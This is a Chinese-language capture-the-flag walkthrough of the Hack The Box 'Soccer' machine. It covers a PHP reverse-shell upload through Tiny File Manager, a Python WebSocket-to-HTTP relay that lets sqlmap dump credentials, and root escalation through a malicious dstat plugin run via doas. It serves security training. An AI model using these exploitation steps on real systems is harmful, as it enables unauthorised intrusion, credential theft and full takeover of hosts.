靶场地址

1
https://app.hackthebox.com/machines/Soccer

信息收集

端口扫描

1
靶机 10.10.11.194 攻击机 10.10.16.8
1
nmap 10.10.11.194
1
nmap -sC -sV -p22,80,9091 10.10.11.194
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT     STATE SERVICE         VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.29 seconds

将域名写入到hosts文件中

1
echo "10.10.11.194 soccer.htb" >> /etc/hosts

访问80端口,发现是 Tiny File Manager 去网上搜索一波

TinyFileManager 是基于 Web 的 PHP 文件管理器,它是一个简单、快速且体积小的单文件 PHP 文件,可以放入服务器上的任何文件夹,多语言就绪的 Web 应用程序,用于存储、上传、编辑和管理文件和通过网络浏览器在线文件夹。该应用程序在 PHP 5.5+ 上运行,它允许创建多个用户,每个用户都可以拥有自己的目录,并内置支持使用 cloud9 IDE 管理文本文件,它支持超过 150 种语言和超过 35 种语言的语法高亮显示主题。

1
https://github.com/prasathmani/tinyfilemanager  #TinyFileManager文章介绍

目录枚举

1
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://soccer.htb/FUZZ

登陆后的页面,发现是文件上传管理器

使用文件形式的反弹shell

1
https://pentestmonkey.net/tools/web-shells/php-reverse-shell

进行下载并且解压

1
tar -zxvf php-reverse-shell-1.0.tar.gz

修改ip为自己的

1
2
3
4
vim php-reverse-shell.php
i #编辑
esc键 #退出编辑
:wq #保存退出

上传文件

然后进行上传

注意上传的目录

反弹shell

1
nc -lvnp 1234

成功获得反弹shell

现在使用linpeas脚本搜集主机信息

1
git clone https://github.com/BRU1S3R/linpeas.sh.git
1
2
chmod +x linpeas.sh
./linpeas.sh

在下面,脚本列出的nginx默认配置里发现了一个子域名

将子域名写入到hosts文件中

1
echo "10.10.11.194 soc-player.soccer.htb" >> /etc/hosts

在搜索引擎上访问子域

在左上角有个注册的功能点,因为没有账号所以需要注册

登陆后的页面

好吧 现在怎么搞呢 既然是靶机 肯定是有突破点的,网上查查资料,看一下页面源代码

它使用的是WebSockets,然后将我们输入的发送到这个URL “ws://soc-player.soccer.htb:9001”

告诉我们 传递的参数为id 有id是不是就可以测试sql了

通过WebSockets进行SQL注入测试,网上找到的文章

检测sql注入

1
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://localhost:8156/ws"

def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"employeeID":"%s"}' % message

ws.send(data)
resp = ws.recv()
ws.close()

if resp:
return resp
else:
return ''

def middleware_server(host_port,content_type="text/plain"):

class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False

if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'

self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return

class _TCPServer(TCPServer):
allow_reuse_address = True

httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass

将脚本复制下来,在kali创建一个新的文本,将文件重命名改为Web_Socket.py

根据那个网页源代码,修改ws_server和data参数

然后根据文章说的安装websocket模块

1
pip3 install websocket-client

安装完运行复制下来的脚本

1
python3 web_socket.py

下面按照文章写的利用sqlmap

1
sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
1
2
--dump-all:查找并转储找到的所有数据库
--exclude-sysdbs:不会在默认数据库上浪费时间

1
2
3
4
5
6
7
8
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+

SSH登录

现在得到用户名和密码了,使用ssh登录即可

1
ssh player@10.10.11.194

用户标志

1
用户标志: 11cd63d82d24ead08a41ac1cba497f8e

提权

根据之前linpeas脚本搜集到的信息,发现doas程序有suid权限,doas也不是默认安装的程序

至于什么是doas

1
https://zh.m.wikipedia.org/zh-hans/Doas

说到底 Doas是一个与Sudo具有相同功能的软件

find一下doas的配置文件

1
find / -type f -name doas.conf 2>/dev/null

他说的是 允许用户player用dstat使用root

查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/

我们可以往插件里写入rev shell获得root权限

1
2
3
cd /usr/local/share/dstat/
touch dstat_qq.py
chmod +x dstat_qq.py

1
vim dstat_qq.py
1
import os; os.system("bash -i")
1
doas -u root /usr/bin/dstat --qq

这样就可以提权到root权限了